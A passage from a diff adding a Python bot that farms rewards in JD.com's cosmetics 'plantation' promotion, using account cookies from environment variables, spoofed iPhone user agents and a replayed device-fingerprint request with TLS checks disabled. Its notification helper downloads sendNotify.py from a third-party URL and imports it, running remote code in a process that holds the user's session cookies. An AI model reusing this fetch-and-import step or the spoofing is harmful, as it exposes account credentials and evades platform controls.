(os.environ["plant_cookie"]) > 1: + cookies1 = [] + cookies1 = os.environ["JD_COOKIE"] + cookies1 = cookies1.split ('&') + is_ck = os.environ["plant_cookie"].split('&') + for i in is_ck: + cookies.append(cookies1[int(i)-1]) + printT ("已获取并使用Env环境plant_cookies") +else: + printT ("变量plant_cookie未填写") + exit (0) + +if "choose_plant_id" in os.environ: + choose_plant_id = os.environ["choose_plant_id"] + printT (f"已获取并使用Env环境choose_plant_id={choose_plant_id}") +else: + printT ("变量choose_plant_id未填写,默认为false只种植了一个,如果种植了多个,请填写改变量planted_id") + +if "planted_id" in os.environ: + if len (os.environ["planted_id"]) > 8: + planted_ids = os.environ["planted_id"] + planted_ids = planted_ids.split ('&') + else: + planted_id = os.environ["planted_id"] + printT (f"已获取并使用Env环境planted_id={planted_id}") +else: + printT ("变量planted_id未填写,默认为false只种植了一个,如果种植了多个,请填写改变量planted_id") + +if "beauty_plant_exchange" in os.environ: + beauty_plant_exchange = os.environ["beauty_plant_exchange"] + printT (f"已获取并使用Env环境beauty_plant_exchange={beauty_plant_exchange}") +else: + printT ("变量beauty_plant_exchange未填写,默认为false,不用美妆币兑换肥料") + + +def userAgent(): + """ + 随机生成一个UA + :return: jdapp;iPhone;9.4.8;14.3;xxxx;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 + """ + if not UserAgent: + uuid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + addressid = ''.join (random.sample ('1234567898647', 10)) + iosVer = ''.join ( + random.sample (["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iosV = iosVer.replace ('.', '_') + iPhone = ''.join (random.sample (["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join (random.sample ('0987654321ABCDEF', 8)) + '-' + ''.join ( + random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join ( + random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join ( + random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join (random.sample ('0987654321ABCDEF', 12)) + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone{iPhone},1;addressid/{addressid};supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + else: + return UserAgent + + +## 获取通知服务 +class msg (object): + def __init__(self, m=''): + self.str_msg = m + self.message () + + def message(self): + global msg_info + printT (self.str_msg) + try: + msg_info = "{}\n{}".format (msg_info, self.str_msg) + except: + msg_info = "{}".format (self.str_msg) + sys.stdout.flush () # 这代码的作用就是刷新缓冲区。 + # 当我们打印一些字符时,并不是调用print函数后就立即打印的。一般会先将字符送到缓冲区,然后再打印。 + # 这就存在一个问题,如果你想等时间间隔的打印一些字符,但由于缓冲区没满,不会打印。就需要采取一些手段。如每次打印后强行刷新缓冲区。 + + def getsendNotify(self, a=0): + if a == 0: + a += 1 + try: + url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' + response = requests.get (url) + if 'curtinlv' in response.text: + with open ('sendNotify.py', "w+", encoding="utf-8") as f: + f.write (response.text) + else: + if a < 5: + a += 1 + return self.getsendNotify (a) + else: + pass + except: + if a < 5: + a += 1 + return self.getsendNotify (a) + else: + pass + + def main(self): + global send + cur_path = os.path.abspath (os.path.dirname (__file__)) + sys.path.append (cur_path) + if os.path.exists (cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + self.getsendNotify () + try: + from sendNotify import send + except: + printT ("加载通知服务失败~") + else: + self.getsendNotify () + try: + from sendNotify import send + except: + printT ("加载通知服务失败~") + ################### + + +msg ().main () + + +def setName(cookie): + try: + r = re.compile (r"pt_pin=(.*?);") # 指定一个规则:查找pt_pin=与;之前的所有字符,但pt_pin=与;不复制。r"" 的作用是去除转义字符. + userName = r.findall (cookie) # 查找pt_pin=与;之前的所有字符,并复制给r,其中pt_pin=与;不复制。 + # print (userName) + userName = unquote (userName[0]) # r.findall(cookie)赋值是list列表,这个赋值为字符串 + # print(userName) + return userName + except Exception as e: + print (e, "cookie格式有误!") + exit (2) + + +# 获取ck +def get_ck(token, sid_ck, account): + try: + url = 'https://api.m.jd.com/client.action?functionId=isvObfuscator' + headers = { + # 'Connection': 'keep-alive', + 'accept': '*/*', + "cookie": f"{token}", + 'host': 'api.m.jd.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'user-Agent': "JD4iPhone/167922%20(iPhone;%20iOS;%20Scale/2.00)", + 'accept-Encoding': 'gzip, deflate, br', + 'accept-Language': 'zh-Hans-CN;q=1', + "content-type": "application/x-www-form-urlencoded", + # "content-length":"1348", + } + timestamp = int (round (time.time () * 1000)) + timestamp1 = int (timestamp / 1000) + data = r'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruismzd-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167922&client=apple&clientVersion=10.3.2&d_brand=apple&d_model=iPhone12%2C1&ef=1&eid=eidI4a9081236as4w7JpXa5zRZuwROIEo3ORpcOyassXhjPBIXtrtbjusqCxeW3E1fOtHUlGhZUCur1Q1iocDze1pQ9jBDGfQs8UXxMCTz02fk0RIHpB&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22ENS4AtO3EJS%3D%22%2C%22wifiBssid%22%3A%22' + f"{sid_ck}" + r'%3D%22%2C%22osVersion%22%3A%22CJUkCK%3D%3D%22%2C%22area%22%3A%22CJvpCJY1DV80ENY2XzK%3D%22%2C%22openudid%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1642002985%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=88&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=01&sign=946db60626658b250cf47aafb6f67691&st=1642002999847&sv=112&uemps=0-0&uts=0f31TVRjBSu3kkqwe7t25AkQCKuzV3pz8JrojVuU0630g%2BkZigs9kTwRghT26sE72/e92RRKan/%2B9SRjIJYCLuhew91djUwnIY47k31Rwne/U1fOHHr9FmR31X03JKJjwao/EC1gy4fj7PV1Co0ZOjiCMTscFo/8id2r8pCHYMZcaeH3yPTLq1MyFF3o3nkStM/993MbC9zim7imw8b1Fg%3D%3D' + # data = '{"token":"AAFh3ANjADAPSunyKSzXTA-UDxrs3Tn9hoy92x4sWmVB0Kv9ey-gAMEdJaSDWLWtnMX8lqLujBo","source":"01"}' + # print(data) + response = requests.post (url=url, verify=False, headers=headers, data=data) + result = response.json () + # print(result) + access_token = result['token'] + # print(access_token) + return access_token + except Exception as e: + msg ("账号【{0}】获取ck失败,cookie过期".format (account)) + + +# 获取Authorization +def get_Authorization(access_token, account): + try: + url = 'https://xinruimz-isv.isvjcloud.com/papi/auth' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": 'Bearer undefined', + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/logined_jd/', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Origin": "https://xinruimz-isv.isvjcloud.com", + "Content-Type": "application/json;charset=utf-8", + + } + data = '{"token":"' + f"{access_token}" + r'","source":"01"}' + # print(data) + response = requests.post (url=url, verify=False, headers=headers, data=data) + result = response.json () + print (result) + access_token = result['access_token'] + access_token = r"Bearer " + access_token + # print(access_token) + return access_token + except Exception as e: + msg ("账号【{0}】获取Authorization失败,cookie过期".format (account)) + + +# 获取已种植的信息 +def get_planted_info(cookie, sid, account): + name_list = [] + planted_id_list = [] + position_list = [] + shop_id_list = [] + url = 'https://xinruimz-isv.isvjcloud.com/papi/get_home_info' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + planted_list = result['plant_info'] + # print(planted_list) + for i in range (len (planted_list)): + try: + name = result['plant_info'][f'{i + 1}']['data']['name'] + planted_id = result['plant_info'][f'{i + 1}']['data']['id'] + position = result['plant_info'][f'{i + 1}']['data']['position'] + shop_id = result['plant_info'][f'{i + 1}']['data']['shop_id'] + # print(name,planted_id,position,shop_id) + name_list.append (name) + planted_id_list.append (planted_id) + position_list.append (position) + shop_id_list.append (shop_id) + print (f"账号{account}种植的种子为", name, "planted_id:", planted_id, ",shop_id:", shop_id) + except Exception as e: + pass + return name_list, position_list, shop_id_list, planted_id_list + + +# 领取每日水滴 +def get_water(cookie, position, sid, account): + try: + j = 0 + url = 'https://xinruimz-isv.isvjcloud.com/papi/collect_water' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + for i in position: + data = r'{"position":' + f"{i}" + r'}' + response = requests.post (url=url, verify=False, headers=headers, data=data) + # print(response.status_code) + if response.status_code == 204: + j += 1 + total = j * 10 + if response.status_code == 204: + msg ("账号【{0}】成功领取每日水滴{1}".format (account, total)) + + except Exception as e: + msg ("账号【{0}】领取每日水滴失败,可能是cookie过期".format (account)) + + +# 领取每日肥料 +def get_fertilizer(cookie, shop_id, account): + try: + j = 0 + url = 'https://xinruimz-isv.isvjcloud.com/papi/collect_fertilizer' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + for i in shop_id: + data = r'{"shop_id":' + f"{i}" + r'}' + response = requests.post (url=url, verify=False, headers=headers, data=data) + if response.status_code == 204: + j += 1 + total = j * 10 + if response.status_code == 204: + msg ("账号【{0}】成功领取每日肥料{1}".format (account, total)) + + except Exception as e: + msg ("账号【{0}】领取每日肥料失败,可能是cookie过期".format (account)) + + +# 获取任务信息 +def get_task(cookie, account): + try: + taskName_list = [] + taskId_list = [] + taskName_list2 = [] + taskId_list2 = [] + taskName_list3 = [] + taskId_list3 = [] + url = 'https://xinruimz-isv.isvjcloud.com/papi/water_task_info' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + task_list = result['shops'] + task_list2 = result['meetingplaces'] + task_list3 = result['prodcuts'] # 浏览加购 + # print(task_list) + for i in range (len (task_list)): + try: + taskName = task_list[i]['name'] + taskId = task_list[i]['id'] + taskId_list.append (taskId) + taskName_list.append (taskName) + except Exception as e: + print (e) + for i in range (len (task_list2)): + try: + taskName2 = task_list2[i]['name'] + taskId2 = task_list2[i]['id'] + taskId_list2.append (taskId2) + taskName_list2.append (taskName2) + except Exception as e: + print (e) + for i in range (len (task_list3)): + try: + taskName3 = task_list3[i]['name'] + taskId3 = task_list3[i]['id'] + taskId_list3.append (taskId3) + taskName_list3.append (taskName3) + except Exception as e: + print (e) + # print(taskName_list,taskId_list,taskName_list2,taskId_list2,taskName_list3,taskId_list3) + return taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 + except Exception as e: + print (e) + message = result['message'] + if "非法店铺" in message: + msg ("【账号{0}】种子过期,请重新种植".format (account)) + + +# 获取任务信息 +def get_fertilizer_task(cookie, shop_id, account): + try: + # taskName_list = [] + # taskId_list = [] + taskName_list2 = [] + taskId_list2 = [] + taskName_list3 = [] + taskId_list3 = [] + taskName_list4 = [] + taskId_list4 = [] + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_task_info?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + # task_list = result['shops'] + task_list2 = result['meetingplaces'] + task_list3 = result['prodcuts'] # 浏览加购 + task_list4 = result['live'] # 浏览直播 + # print(task_list) + # for i in range (len (task_list)): + # try: + # taskName = task_list[i]['name'] + # taskId = task_list[i]['id'] + # taskId_list.append(taskId) + # taskName_list.append(taskName) + # except Exception as e: + # print(e) + for i in range (len (task_list2)): + try: + taskName2 = task_list2[i]['name'] + taskId2 = task_list2[i]['id'] + taskId_list2.append (taskId2) + taskName_list2.append (taskName2) + except Exception as e: + print (e) + for i in range (len (task_list3)): + try: + taskName3 = task_list3[i]['name'] + taskId3 = task_list3[i]['id'] + taskId_list3.append (taskId3) + taskName_list3.append (taskName3) + except Exception as e: + print (e) + for i in range (len (task_list4)): + try: + taskName4 = task_list4[i]['name'] + taskId4 = task_list4[i]['id'] + taskId_list4.append (taskId4) + taskName_list4.append (taskName4) + except Exception as e: + print (e) + # print(taskName_list,taskId_list,taskName_list2,taskId_list2,taskName_list3,taskId_list3) + return taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 + except Exception as e: + print (e) + message = result['message'] + if "非法店铺" in message: + msg ("【账号{0}】种子过期,请重新种植".format (account)) + + +# 做任务1 +def do_task1(cookie, taskName, taskId, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/water_shop_view?shop_id={taskId}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览任务【{1}】等待10秒".format (account, taskName)) + msg ("账号【{0}】执行浏览任务【{1}】成功,获取【{2}】水滴".format (account, taskName, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 做浏览任务 +def do_task2(cookie, taskName, taskId, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/water_meetingplace_view?meetingplace_id={taskId}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览任务【{1}】等待10秒".format (account, taskName)) + msg ("账号【{0}】执行浏览任务【{1}】成功,获取【{2}】水滴".format (account, taskName, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 浏览加购 +def do_task3(cookie, taskName, taskId, sid, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/water_product_view?product_id={taskId}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览加购【{1}】等待10秒".format (account, taskName)) + msg ("账号【{0}】执行浏览加购【{1}】成功,获取【{2}】水滴".format (account, taskName, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-浏览关注 +def do_fertilizer_task(cookie, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_shop_view?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + while True: + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行【浏览关注】等待10秒".format (account)) + msg ("账号【{0}】执行【浏览关注】任务成功,获取【{1}】肥料".format (account, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-浏览 +def do_fertilizer_task2(cookie, name, meetingplace_id, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_meetingplace_view?meetingplace_id={meetingplace_id}&shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览关注{1}等待10秒".format (account, name)) + msg ("账号【{0}】执行浏览关注{1}任务成功,获取【{2}】肥料".format (account, name, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-加购 +def do_fertilizer_task3(cookie, name, product_id, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_product_view?product_id={product_id}&shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + while True: + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览并加购{1}等待10秒".format (account, name)) + msg ("账号【{0}】执行浏览并加购{1}任务成功,获取【{2}】肥料".format (account, name, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-观看其他小样 +def do_fertilizer_task4(cookie, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_sample_view?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行【观看其他小样】等待10秒".format (account)) + msg 